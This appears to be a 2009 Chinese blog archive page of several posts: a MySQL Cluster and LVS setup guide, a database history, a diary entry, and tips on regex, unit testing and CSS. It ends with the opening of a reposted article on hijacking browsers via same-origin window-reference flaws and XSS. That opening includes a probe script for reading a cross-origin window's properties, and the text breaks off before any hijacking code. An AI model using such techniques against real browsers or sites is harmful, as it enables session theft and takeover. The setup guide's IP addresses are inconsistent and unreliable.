2009 年 05 月

浏览模式: 标准 | 列表 | 图文

利用MySQL Cluster 7.0 + LVS 搭建高可用环境

目录:

1、前言


随着数据量规模的扩大,企业对 MySQL 的要求就不仅仅是能用了,也在寻求各种高可用方案。以前我们的大部分高可用方案其实还存在一定缺陷,例如 MySQL Replication 方案,Master 是否存活检测需要一定时间,而和 Slave 的切换也需要时间,因此其高可用程度较大依赖监控软件或自动化管理工具。而早先的 MySQL Cluster 实在不能令人满意,性能差的不行,也让我们的期待一次次落空。本次 MySQL Cluster 7.0 的推出,终于实现了质的飞跃,性能上得到了很大提高。MySQL Cluster 7.0 新特性主要体现在以下几个方面:

  • 数据节点多线程
  • 可以在线增加节点
  • 大记录存取改进
  • 支持windows平台

本身MySQL Cluster已经实现了高可用,不过由于SQL节点无法对外部负载均衡,因此我们采用 LVS 来实现这一需求。

2、安装


环境描述:

内核:2.6.9-78.0.17.ELsmp
硬件:DELL 2950, 146G 15K RPM SAS * 6(raid 1+0), 8G Ram

各个节点描述:

IP 描述
192.168.0.2 ndb mgm node
192.168.0.3 data node1, sql node 1, LVS DR Server
192.168.0.4 data node2, sql node 2
192.168.0.5 data node3, sql node 3
192.168.0.6 data node4, sql node 4
192.168.0.7 sql node 5
192.168.0.8 sql node 6
192.168.0.9 sql node 7
192.168.0.10 sql node 8

是这样安排这些服务器的,192.168.0.2 作为 MySQL Cluster 的管理节点,2 ~ 6 既做数据节点(DATA node),也做SQL节点(SQL node),7 ~ 10 也做SQL节点。LVS采用 VS/DR 的模式,因此把 192.168.0.2 也同时作为 LVS 的 DR Server。
分配好机器,接下来就是安装响应的软件包了。

2.1 LVS 安装、配置


老实说,我对LVS并不十分在行,以前折腾过一次,差点快崩溃了,后来才发现是我下载的版本太高了,没想到这次也是这样 :(,白折腾了1天。其实过程比较简单,只要下载的版本能对的上就快了。
在这里,我下载的是源码rpm包,因此需要用rpmbuild编译一次。

[yejr@imysql.cn ~]# rpm -ivhU ~/kernel-2.6.9-78.0.17.EL.src.rpm
[yejr@imysql.cn ~]# cd /usr/src/redhat/SPECS
[yejr@imysql.cn ~]# rpmbuild -bp kernel-2.6.spec #解开源码包,打上各种pache
[yejr@imysql.cn ~]# rpm -ivhU ~/ipvsadm-1.24-5.src.rpm #安装ipvsadm的源码包
[yejr@imysql.cn SPECS]# ls
ipvsadm.spec kernel-2.6.spec
#需要做一下链接,编译ipvsadm时用得着
[yejr@imysql.cn SPECS]# ln -s /usr/src/redhat/BUILD/kernel-2.6.9/linux-2.6.9 /usr/src/linux
[yejr@imysql.cn SPECS]# rpm -bb ipvsadm.spec #编译出ipvsadm的rpm包
[yejr@imysql.cn SPECS]# ls -l /usr/src/redhat/RPMS/x86_64/
total 36
-rw-r--r-- 1 root root 30941 May 4 18:06 ipvsadm-1.24-5.x86_64.rpm
-rw-r--r-- 1 root root 2968 May 4 18:06 ipvsadm-debuginfo-1.24-5.x86_64.rpm
[yejr@imysql.cn ~]# rpm -ivhU /usr/src/redhat/RPMS/x86_64/ipvsadm-1.24-5.x86_64.rpm

看到了吧,其实很简单。网上的有些资料说要把 ipvsadm.spec 中的 Copyright 这个 Tag 改成 License,可能是因为版本较老,我用的这个版本就不需要这样。
接下来就是加载 ip_vs 模块,然后开始做 LVS DR 转发了。

[yejr@imysql.cn ~]# /sbin/modprobe ip_vs
[yejr@imysql.cn ~]# lsmod | grep ip_vs
ip_vs 103169 3 ip_vs_rr

直接编辑 /etc/sysconfig/ipvsadm 文件:

[yejr@imysql.cn ~]# cat /etc/sysconfig/ipvsadm
-C
-A -t lvs_vip:mysql -s rr
-a -t lvs_vip:mysql -r ndb_data_node_1:mysql -g -w 1
-a -t lvs_vip:mysql -r ndb_data_node_2:mysql -g -w 1
-a -t lvs_vip:mysql -r ndb_data_node_3:mysql -g -w 1
-a -t lvs_vip:mysql -r ndb_data_node_4:mysql -g -w 1
-a -t lvs_vip:mysql -r ndb_sql_node_1:mysql -g -w 1
-a -t lvs_vip:mysql -r ndb_sql_node_2:mysql -g -w 1
-a -t lvs_vip:mysql -r ndb_sql_node_3:mysql -g -w 1
-a -t lvs_vip:mysql -r ndb_sql_node_4:mysql -g -w 1

保存退出。上面显示的是 hostname 的格式,因为我都在 /etc/hosts 里设置各自对应的 hostname 了。
然后就是在 DR Server 上绑定 vip,然后打开 ip_forward,启动 ipvsadm,LVS 就可以开始工作了。

[yejr@imysql.cn ~]# echo 1 > /proc/sys/net/ipv4/ip_forward #修改内核,打开转发
[yejr@imysql.cn ~]# /sbin/ifconfig eth0:0 192.168.0.11 netmask 255.255.255.0 #绑定vip
[yejr@imysql.cn ~]# /etc/init.d/ipvsadm start #启动ipvsadm
[yejr@imysql.cn ~]# ipvsadm -L #查看列表
ipvsadm -L
IP Virtual Server version 1.2.0 (size=4096)
Prot LocalAddress:Port Scheduler Flags
-> RemoteAddress:Port Forward Weight ActiveConn InActConn
TCP lvs_vip:mysql rr
-> gs_ndb_sql_node_1:mysql Route 1 0 0
-> gs_ndb_sql_node_2:mysql Route 1 0 0
-> gs_ndb_sql_node_3:mysql Route 1 0 0
-> gs_ndb_sql_node_4:mysql Route 1 0 0
-> gs_ndb_data_node_1:mysql Route 1 0 0
-> gs_ndb_data_node_2:mysql Route 1 0 0
-> gs_ndb_data_node_3:mysql Route 1 0 0
-> gs_ndb_data_node_4:mysql Route 1 0 0
[yejr@imysql.cn ~]# lsmod | ip_vs #查看已加载模块
lsmod | grep ip_vs
ip_vs_rr 3649 1
ip_vs 103169 3 ip_vs_rr

DR Server 上设置完后,再在 Real Server 上绑定 vip,然后测试,没问题的话,就可以用了。

[yejr@imysql.cn ~]# /sbin/ifconfig lo:0 192.168.0.11 netmask 255.255.255.255 broadcast 192.168.0.11

2.2 MySQL Cluster安装


MySQL Cluster的安装重点在于管理节点的配置文件,只要把配置文件设置好了,其他的就很快了。我在这里是直接用 rpm 包安装的,因为下载整个预编译好的 tar.gz 文件实在太大了,这点上 MySQL 是越来越臃肿了 :(

[yejr@imysql.cn ~]# cat /home/mysql/config.ini
[TCP DEFAULT]
SendBufferMemory=2M
ReceiveBufferMemory=2M
[NDB_MGMD DEFAULT]
PortNumber=1186
Datadir=/home/mysql/
[NDB_MGMD]
id=1
Datadir=/home/mysql/
Hostname=192.168.221.2
[NDBD DEFAULT]
NoOfReplicas=2
Datadir=/home/mysql/
DataMemory=2048M
IndexMemory=1024M
LockPagesInMainMemory=1
MaxNoOfConcurrentOperations=100000
StringMemory=25
MaxNoOfTables=4096
MaxNoOfOrderedIndexes=2048
MaxNoOfUniqueHashIndexes=512
MaxNoOfAttributes=24576
DiskCheckpointSpeedInRestart=100M
FragmentLogFileSize=256M
InitFragmentLogFiles=FULL
NoOfFragmentLogFiles=6
RedoBuffer=32M
TimeBetweenLocalCheckpoints=20
TimeBetweenGlobalCheckpoints=1000
TimeBetweenEpochs=100
MemReportFrequency=30
BackupReportFrequency=10
### Params for setting logging
LogLevelStartup=15
LogLevelShutdown=15
LogLevelCheckpoint=8
LogLevelNodeRestart=15
### Params for increasing Disk throughput
BackupMaxWriteSize=1M
BackupDataBufferSize=16M
BackupLogBufferSize=4M
BackupMemory=20M
#Reports indicates that odirect=1 can cause io errors (os err code 5) on some systems. You must test.
#ODirect=1
### Watchdog
TimeBetweenWatchdogCheckInitial=30000
### TransactionInactiveTimeout - should be enabled in Production
#TransactionInactiveTimeout=30000
### CGE 6.3 - REALTIME EXTENSIONS
#RealTimeScheduler=1
#SchedulerExecutionTimer=80
#SchedulerSpinTimer=40
### DISK DATA
#SharedGlobalMemory=384M
#read my blog how to set this:
#DiskPageBufferMemory=3072M
### Multithreading
MaxNoOfExecutionThreads=8
[NDBD]
id=2
Datadir=/home/mysql/
Hostname=192.168.221.3
#LockExecuteThreadToCPU=X
#LockMaintThreadsToCPU=Y
[NDBD]
id=3
Datadir=/home/mysql/
Hostname=192.168.221.4
#LockExecuteThreadToCPU=X
#LockMaintThreadsToCPU=Y
[NDBD]
id=4
Datadir=/home/mysql/
Hostname=192.168.221.5
#LockExecuteThreadToCPU=X
#LockMaintThreadsToCPU=Y
[NDBD]
id=5
Datadir=/home/mysql/
Hostname=192.168.221.6
#LockExecuteThreadToCPU=X
#LockMaintThreadsToCPU=Y
[MYSQLD]
id=6
Hostname=192.168.221.3
[MYSQLD]
id=7
Hostname=192.168.221.4
[MYSQLD]
id=8
Hostname=192.168.221.5
[MYSQLD]
id=9
Hostname=192.168.221.6
[MYSQLD]
id=10
Hostname=192.168.221.7
[MYSQLD]
id=11
Hostname=192.168.221.8
[MYSQLD]
id=12
Hostname=192.168.221.9
[MYSQLD]
id=13
Hostname=192.168.221.10

然后启动 ndb_mgmd 进程:

[yejr@imysql.cn ~]# /usr/sbin/ndb_mgmd -f /home/mysql/config.ini --configdir=/home/mysql/

如果是修改了配置文件里的某些参数,则需要先关闭 ndb_mgmd 进程,然后重新启动,不过必须加上 --reload 选项,因为 7.0 版本中,会把配置文件放在 cache 里,如果不注意到这点,可能会被搞得莫名其妙的。

[yejr@imysql.cn ~]# /usr/sbin/ndb_mgmd -f /home/mysql/config.ini --configdir=/home/mysql/ --reload

然后在数据节点上启动 ndbd 进程:

[yejr@imysql.cn ~]# /usr/sbin/ndbd --initial

首次启动,需要加上 --initial 选项,其后的启动后就不需要了。
最后,修改SQL节点上的配置文件 my.cnf,然后启动 mysqld 进程:

[yejr@imysql.cn ~]# cat /etc/my.cnf
#my.cnf
[mysql_cluster]
ndb-connectstring="192.168.221.2:1186"
[MYSQLD]
......
ndb-cluster-connection-pool=1
ndbcluster
ndb-connectstring="192.168.221.2:1186"
ndb-force-send=1
ndb-use-exact-count=0
ndb-extra-logging=1
ndb-autoincrement-prefetch-sz=256
engine-condition-pushdown=1
......
[yejr@imysql.cn ~]# /etc/init.d/mysql start
[yejr@imysql.cn ~]# mysqladmin pr
+------+-------------+-----------+----+---------+------+-----------------------------------+------------------+
| Id | User | Host | db | Command | Time | State | Info |
+------+-------------+-----------+----+---------+------+-----------------------------------+------------------+
| 1 | system user | | | Daemon | 0 | Waiting for event from ndbcluster | |
| 1579 | root | localhost | | Query | 0 | | show processlist |
+------+-------------+-----------+----+---------+------+-----------------------------------+------------------+

在管理节点上看下 cluster 的状态:

[yejr@imysql.cn ~]# ndb_mgm
-- NDB Cluster -- Management Client --
ndb_mgm> show
Connected to Management Server at: localhost:1186
Cluster Configuration
---------------------
[ndbd(NDB)] 4 node(s)
id=2 @192.168.221.3 (mysql-5.1.32 ndb-7.0.5, Nodegroup: 0, Master)
id=3 @192.168.221.4 (mysql-5.1.32 ndb-7.0.5, Nodegroup: 0)
id=4 @192.168.221.5 (mysql-5.1.32 ndb-7.0.5, Nodegroup: 1)
id=5 @192.168.221.6 (mysql-5.1.32 ndb-7.0.5, Nodegroup: 1)
[ndb_mgmd(MGM)] 1 node(s)
id=1 @192.168.221.2 (mysql-5.1.32 ndb-7.0.5)
[mysqld(API)] 10 node(s)
id=6 @192.168.221.3 (mysql-5.1.32 ndb-7.0.5)
id=7 @192.168.221.4 (mysql-5.1.32 ndb-7.0.5)
id=8 @192.168.221.5 (mysql-5.1.32 ndb-7.0.5)
id=9 @192.168.221.6 (mysql-5.1.32 ndb-7.0.5)
id=10 @192.168.221.7 (mysql-5.1.32 ndb-7.0.5)
id=13 @192.168.221.8 (mysql-5.1.32 ndb-7.0.5)
id=14 @192.168.221.9 (mysql-5.1.32 ndb-7.0.5)
id=15 @192.168.221.10 (mysql-5.1.32 ndb-7.0.5)
ndb_mgm> exit

可以看到,一切正常。

3、测试


我们主要进行一下对比测试,看看新版本的 ndbcluster 引擎相对 MyISAM 和 InnoDB 到底区别多大。

3.1 mysqlslap测试结果



纵坐标是总共运行时间。
mysqlslap完整执行参数类似下面:

mysqlslap -hlocalhost -uroot --engine=myisam --auto-generate-sql-write-number=100000 --auto-generate-sql-guid-primary \
--concurrency=50,100,200 --number-of-queries=500000 --iterations=2 --number-char-cols=10 --number-int-cols=10 \
--auto-generate-sql --create-schema=ndb --auto-generate-sql-load-type=mixed

3.2 sysbench测试结果



纵坐标是每秒运行的事务数。
sysbench完整执行参数类似下面:

sysbench --mysql-user=root --test=oltp --mysql-host=localhost --oltp-test-mode=complex \
--mysql-table-engine=ndbcluster --oltp-table-size=10000000 --mysql-db=ndb --oltp-table-name=mdb_1kw \
--num-threads=200 --max-requests=500000 run

从上面的测试结果我们也可以看到,单独的mysqld实例下,MyISAM适合并发很小的业务,InnoDB适合类似连接池模式下的高 并发业务,不适合非常大并发的情景,而采用了LVS后的ndbcluster则是真正的适合高并发环境,尽管其性能相对InnoDB来说不是太好,不过比 以往版本也已经提升了很多,用于正式生产环境的时候真是指日可待了。

2001年以来的数据库技术领域回顾

2001年以来的数据库技术领域回顾

2001 年对我自己来说,是一个比较重要的时间点--正式踏上工作岗位,也在这一年奠定了以后工作的技术方向。在 2001年,《程序员》杂志经过两期试刊后也已正式创刊。转眼间,杂志即将出版第 100 期,让人心生感慨。自己几年来持续关注数据库技术领域,《程序员》是一份很重要的参考信息来源。这里回顾一下自《程序员》创刊以来的数据库大事,算是一份 纪念,或有谬误,敬请指正。

2001

就从 2001 年说起吧, 2001年6月的ORACLE OpenWorld大会中,ORACLE发布了ORACLE 9i。相比上一个主要版本,也就是 Oracle 8i来说,最大的新产品特性就是真实应用集群(Real Application Clusters, RAC)了。ORACLE 9i的RAC在TPC-C的基准测试中打破了数项记录,一时间业内瞩目。刚在上一年发布 SQL Server 2000 的微软在这一年产品上没什么更大的动作,正在积极拼抢市场。而 MySQL 在 1月份发布了 3.23 产品版,给不少开源爱好者以欣喜。

DB2 在这一年产品上没什么亮点,但是以 10 亿美金收购了 Informix 的数据库的事情震动业界。记得自己当时正好有个 Informix 项目要实施,着实看了几天 Informix 技术文档。这一年国内数据库领域的一件值得一提的小事是 ITpub.net 的创建,这个当初看似不起眼的论坛,在随后的几年中涌现出了一大批数据库技术人才,很大程度上在国内普及了 Oracle 数据库技术。

2002

IBM 推出DB2数据库V8.1的测试版,估计是还在消化 Infomix 的客户资源,几个月之后正式版才能面试。而 Oracle 与 Sun 庆祝了 20 年的合作伙伴关系。之后,Sun 不复 .com 大潮中的明星范儿,Oracle 因为全力支持 Linux 也与 Sun关系愈加微妙。Oracle Open World 第一次在国内举行,地点是北京,会议规格不低,Larry Ellison 在会上进行了主题演讲,此前,这位软件界的传奇人物已经来过中国数次了。[喜欢IT八卦的人可以搜索一下《IT江湖水也深》这篇文章。]

微软连续第二年没有对 SQL Server 发布新版本。

MySQL 发布 4.0 Beta 版。从 4.0 开始,InnoDB 正式成为 MySQL 的默认引擎。在 InnoDB 的基础上,MYSQL对于事务的处理能力有了极大提升。

2003

SQL:2003 发布。这个版本针对 SQL:99 的一些问题进行了改进,支持 XML,支持 Window 函数、Merge 语句等。随着,会看到各大数据库厂商纷纷宣布新的版本中对该标准的支持,这是他们一贯的姿态。

MySQL 4.0 正式发布。在全文索引、嵌入式应用方面得到增强。这个时候的 MySQL 仍然缺乏一些企业级数据库的关键功能。

Oracle 这一年发布了 Oracle 10g, g 代表 Grid ,网格计算。这一年中"网格计算"火爆程度不亚于现在的"云计算",随后的几年,这个网格计算基本上还只存在于专家们的嘴里。所以,去年 Larry Ellison 在会议上对"云计算"表示不屑也是正常之举。在这一年,Oracle 也宣布针对Linux 64位环境的产品准备就绪,接下来的一年里,Oracle 宣称雇佣了近万人的 Linux 相关的开发人员,可谓不惜血本,当然,这些投入在日后得到了超值回报。从技术的角度上看,其贡献也是有目共睹的,在 I/O 能力、进程扩展能力上都作出很大贡献。

雅虎技术人何伟平的一篇《PostgreSQL 昨天,今天和明天》对于 PostgreSQL 的普及起到了很大作用。

2004

Danga Interactive 针对 LiveJournal.com 开发的Memcached 经过上一年的高频度发布,在这一年只发布了一个版本,标志着已经进入相对稳定阶段,只可惜养在深闺人未必识。关注者并不多。以此为滥觞,伴随着Web 2.0 的火热,类似的分布式对象缓存系统层出不穷,到现在已经成了各大网站标准配备。Memcached 的出现对于数据库方面相关应用设计也带来了更多思路。

这一年嵌入式数据库 SQLite 迎来了较大发展,版本3 完成开发并发布了稳定版。 这些努力为 SQLLite 获得 2005 Open Source Award 打下很好的基础。

我自己第一次给技术杂志投稿《书写历史的甲骨文》,当然是发在《程序员》。

2005

PostgreSQL 8.0 的发布宣告正式开始支持 Windows 平台,成为真正意义上的 Windows 平台数据库(Native Server)。这是 PostgreSQL 发展史上相当重要的一件大事。

微软时隔五年,终于发布了 SQL Server 新版,是为 SQL Server 2005。最大亮点在于对 XML 数据的支持,当时不少技术媒体对此都颇为关注。IBM 发布 DB2 V8.2。

Oracle发布了Oracle10g R2 版本,10g 的 R1 版本稳定性广为诟病,R2版本质量有很大增强,一部分用户终于可以放心一点从 9i 升级到 10g。10月,Oracle 抄了MySQL 后路,将 InnoDB 收归帐下。几年过去回头看,Oracle 此举对 MySQL 影响太大,直到现在,MySQL 也没能自己拥有一个超越 InnoDB 的存储引擎,当然,也不可能超出 InnoDB 的在线备份功能。历史不容假设,否则的话,或许 MySQL 最后仍将独立发展也说不定。 MySQL 在这一年发布5.0 Beta版,引入数个新特性,比如存储过程、触发器等,而这些其实是其他主流商业数据库早已实现的功能,从这个角度上看,MySQL和其竞争对手比较,仍 然是追赶者,甚至也落后于开源兄弟 PostgreSQL。

2006

IBM 在这一年发布了DB2 V9 ,最大特性是加入了 PureXML 支持。IBM 对 XML 方面寄予厚望,不过时间证明,XML 对于数据库市场的影响并没有那么大。

在嵌入式数据库方面,Oracle 收购 Berkeley DB 的母公司 Sleepycat Software。到此,MySQL 两个最重要的存储引擎都控制在 Oracle 手里(Falcon 引擎开发进度遥遥无期,最后不了了之),尽管现在来看关系并未僵化,但谁也说不好未来能怎样。Oracle也宣布推出Enterprise Linux,进军操作系统市场,开始和 Linux 厂商之间展开竞争又合作的关系。

SQL:2006发布,继续增强 XML方面的特性。Ingres,这个早期数据库流派的标识产品,以GPL版权形式开放代码。

2007

Oracle 发布 11g 数据库,引入物理 Data Guard 算是最大新功能。MySQL 的拥趸者要偷笑,其实 MySQL 的 Slave DB早就可以在恢复的同时提供查询的能力了。MySQL 宣布将对 5.0 提供两个变种,社区服务器(Community Server)与企业服务器(Enterprise Server),后者发布周期为1月一次,而社区服务器发布周期则不固定。

随着 Firefox 的发行量增加,其内嵌的SQLite 也赢得了大量部署用户。如果单纯从部署数量来看,SQLite 倒也堪称最流行的DB。

2008

2008年数据库领域的最大的事件,是 Sun 收购 MySQL, 价格 10 亿美元。一年多时间过去,回头来看,这次收购对于 MySQL 不是什么好事情。年尾,MySQL 发布 5.1 生产版,质量并不好,引起了不小争议。在这个版本中正式提供对分区(Partition)功能的支持。此外,在这一年中,开源社区对于 给MySQL 贡献的补丁和各种解决方案让人眼花缭乱,是可喜之事。Google 和 Facebook 等大站都对 MySQL 作出不小的贡献。

微软发布 SQL Server 2008,没有提供什么更扎眼的功能。其实关系数据库发展到现在,要想作出更大革新已经是几乎不可能的事情了。对于微软来说,Windows平台上 SQL Server 有其压倒性优势,可时过境迁,一方面的优势演变成了其他平台上的劣势。

PostgreSQL 8.3 发布,应该说从2008年开始,PostgreSQL 在市场上表现已经不容小视,以其为基础的集群BI系统 GreenPlum 已经引起了国内不少用户的关注。

SQL 标准SQL:2008 发布。从SQL:99 到 SQL:2009,可以看到标准修订的周期越来越短,多少也反映了对技术的需求之快。

2009

到现在为止,这篇文章还缺席 Sybase 的信息。必须要提一下的是,Sybase 将在3月份公布其列数据库(Column-based Database)的新版本:Sybase IQ 15 。说起来,Sybase 也是传统数据库厂商中唯一提供列数据库的公司。

此外,在云计算应用下涌现出的非关系型数据库(主要是Key/Value存储)产品渐欲迷人眼,有人在疑惑关系数据库已到末日。"关系数据库已死" 每隔几年就会有人跳出来喊,对关系型数据库(RDBMS)来说,百足之虫,死而不僵。

不是总结的总结

以上只是软件行业发展过程中的一个小小的阶段。如果要做点总结的话,我觉得这几年的值得探讨的一个地方就是 MySQL 的发展模式,从最初的近乎玩具的软件到现在对业界举足轻重的产品,其发展途径值得我们深思。反观国内,我们也有一些所谓的国产数据库,投入重金,多半昙花 一现,恐怕技术因素不是主要问题吧?


补充1) 应该说,时间就是善于和人开玩笑。这篇文章写完不久,就传来 Sun 被 Oracle 收购的消息。尽管现在还不能断定收购一定能完成,但这毕竟宣告了有关数据库技术的一个转折点。现在无从判断 MySQL 究竟发展方向如何,也或许,MySQL 的命运掌握在广大用户的手中。

补充2) 其实我非常想写一下"国产数据库",但出于某种原因考虑,还是放弃了。长期以来,那似乎是和我接触的数据库圈子并行的一个轨道。想来想去,还是不要徒增烦恼了吧。

补充3) 这是个变革的时代,新的数据库产品层出不穷。"乱花渐欲迷人眼"。

补充4) 这篇文章和我参与翻译的 Troubleshooting Oracle Performance 一书,似乎可以用来小声的宣布一件事,那就是我关注的技术领域重心早已不再是数据库了。再见,Database !

原文作者:Feng,来源于:http://www.dbanotes.net/database/database_history_summary_china.html

略有删节(主要是头和尾),本文也可以在《程序员》第100期可以查阅到

小家伙长大了

小家伙长大了

上周末,老丈人他们去徐州,小家伙就由我们自己带着,当天晚上睡觉时,小家伙发现外婆不见了,伤心的在那里哭啊,大概哭了有将近一小时,怎么哄也没用。老婆急的以为生病了。没办法,抱着他下楼逛了一下,睡着了,估计是累的。

晚上又不敢睡的太沉,也算是经常爬起来看看吧。现在小家伙会翻身了,往往是竖着睡觉,翻身翻多了就变成横着睡了。老婆说自己也没有睡好。

周六上午带小家伙出去逛 了逛 ,比较兴奋,下午去上课,晚上带着小家伙去了长风公园,逛了两小时,非常兴奋,结果还没有回家就累的睡着了。

晚上还算安静,不知道是不怕生了还是习惯了,在床上翻来翻去的就睡着了。

周日去邮局拿邮件,抱着他去,结果没走几分钟又睡着了。只能一直抱着到取回邮件。下午推车去曹扬走了走,仍然是半路就睡觉。唉,有风景不看。
下午理了个头发,结果出来小家伙看到不认识了,要抱他,急的哇哇直哭。伤心啊。。
路上被一北方口音的大姐教育了一下,说是小孩在路上不能放在车里,因为公车比较高,尾气排放都在1米以下,坐在车里,纯粹就是吃尾气。被教育的尴尬啊。听从意见,抱了会,但还是太重了,只能放在车里,走在最边上。

一天都比较安稳。
周一早上,外公来接小家伙,听到外公的声音,扑的一下子就翻过身来,头仰在被子上,盯着外公看,手也伸出来要抱。唉。。

去掉博客粘贴代码后的行号

去掉博客粘贴代码后的行号

其实,这只是一个技巧啦,
向东说,他是用zs for eclipse 用正则替换的,语句为:^[0-9]{0,2}\.
可是,如果前面有空格怎么办呢?
比如说我,就是用editplus来删除的
先把自动换行关掉,即:菜单栏中的W,如果是选中状态,点击之后变成未选中状态。快捷键为:Ctrl+Shift+W
然后就可以使用editplus的列选中功能了。
按住Alt键,用鼠标进行拖拉,就可以选中某一列了(备注:在word里面也可以进行这样的操作,这可是小技巧哦)

单元测试的七种境界

单元测试的七种境界

以前一直都在转贴taobaoQA的关于测试类的文章,对于PHP来说,很少有人用到单元测试,毕竟PHP的调试确实很方便 。
但近年来,随着PHP越来越深入于做企业应用,因此对于单元测试的要求也就越来越被人放到台前。PHPUNIT都3.0了,想想看发展了多久了。
这是向东的博客上的一篇文章,不知道对各位有没有用,我是先复制下来看看。

1. 以各种借口拒绝单元测试Unit Test,比较常用的是“你没有足够的时间(进行单元测试)”。

2. 尝试单元测试并且立刻开始在自己的博客商鼓吹单元测试和测试驱动开发Test Driven Development的好处。

3. 单元测试一切。为了能够完成单元测试,而将私有private的方法和属性修改为内部internal;为了达到单元测试覆盖率100%而测试getter() 和 setter() 属性(方法)。

4. 无法忍受脆弱的单元测试,在没有弄明白是什么的时候,就匆忙转向“集成测试" integration test。

5. 发现了一种模拟 mocking 框架,并且乐于使用强制语义(strict semantics)。

6. 模拟mock所有可能模拟mocked的对象。

7. 开始真正有效单元测试。

你也可以参看如下文章:

http://www.xiangdong.org/blog/post/1665/
http://www.xiangdong.org/blog/post/1716/
http://www.xiangdong.org/blog/post/1354/

http://www.xiangdong.org/blog/visit.php?job=viewresult&sid=c642dcc3563a1ce54c5f3885b97b0105

原文在这里:http://www.xiangdong.org/blog/post/1768/
css 知识收集录

css 知识收集录

来自小程的CSS知识收集。简单,相对比较实用,不过,还是有专业的美工才是实在啊。
原文地址:http://www.cnblogs.com/chenghuichao/archive/2009/05/09/1453026.html

css的一些简写规则:

1.颜色
16进制的色彩值,如果每两位的值相同,可以缩写一半,例如:
#000000可以缩写为#000;#663399可以缩写为#639;

2.盒尺寸
通常有下面四种书写方法:

property:value1; 表示所有边都是一个值value1;
property:value1 value2; 表示top和bottom的值是value1,right和left的值是value2
property:value1 value2 value3; 表示top的值是value1,right和left的值是value2,bottom的值是value3
property:value1 value2 value3 value4; 四个值依次表示top,right,bottom,left
方便的记忆方法是顺时针,上右下左。具体应用在margin和padding的例子如下:
margin:1em 0 2em 0.5em;

3.边框(border)
边框的属性如下:

border-width:1px;
border-style:solid;
border-color:#000;
可以缩写为一句:border:1px solid #000;

语法是border:width style color;

4.背景(Backgrounds)
背景的属性如下:

background-color:#f00;
background-image:url(background.gif);
background-repeat:no-repeat;
background-attachment:fixed;
background-position:0 0;
可以缩写为一句:background:#f00 url(background.gif) no-repeat fixed 0 0;

语法是background:color image repeat attachment position;

5.你可以省略其中一个或多个属性值,如果省略,该属性值将用浏览器默认值,默认值为:

color: transparent
image: none
repeat: repeat
attachment: scroll
position: 0% 0%
6.字体(fonts)
字体的属性如下:

font-style:italic;
font-variant:small-caps;
font-weight:bold;
font-size:1em;
line-height:140%;
font-family:"Lucida Grande",sans-serif;
可以缩写为一句:font:italic small-caps bold 1em/140% "Lucida Grande",sans-serif;

注意,如果你缩写字体定义,至少要定义font-size和font-family两个值。

7.列表(lists)
取消默认的圆点和序号可以这样写list-style:none;,

list的属性如下:

list-style-type:square;
list-style-position:inside;
list-style-image:url(image.gif);
可以缩写为一句:list-style:square inside url(image.gif);

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

本文和上一篇 一样,我主要是为了了解攻击方法才记录的。有些东西确实没有注意过。以后要多注意啊。不然,就成为别人攻击的目标了。

原文:http://hi.baidu.com/isbx/blog/item/c9baf31f5b36cd6bf724e421.html

很多断行,已经重新排 版

|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[ By rayh4c ]=---------------------------=|
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
|=---------------------------------------------------------------------------=|

[目录]

1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
6.1 正向跨窗口劫持
6.2 反向跨窗口劫持
6.3 极度危险的跨框架窗口引用劫持
6.4 极度危险的正反向跨窗口递归劫持
6.5 完全控制浏览器
7. 后记
8. 参考


一、前言

最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。


二、同源策略简叙

同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。


三、理解window对象的同源策略

窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:

<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>

这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,这些属性和方法就必须遵循同源策略。

举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
<script language="javascript">
function allPrpos(obj) {
var props = "<table><tr><td>名称</td><td>值</td>";
for(var p in obj){
if(typeof(obj[p])=="function"){
obj[p]();
}else{
try
{
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
}
catch (ex)
{

props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
}

}
}

document.write(props+"</table>");
}

function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){allPrpos(newWin)},2000);
}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进行测试,会发现父窗口可以控制非同源子窗口location属性值。
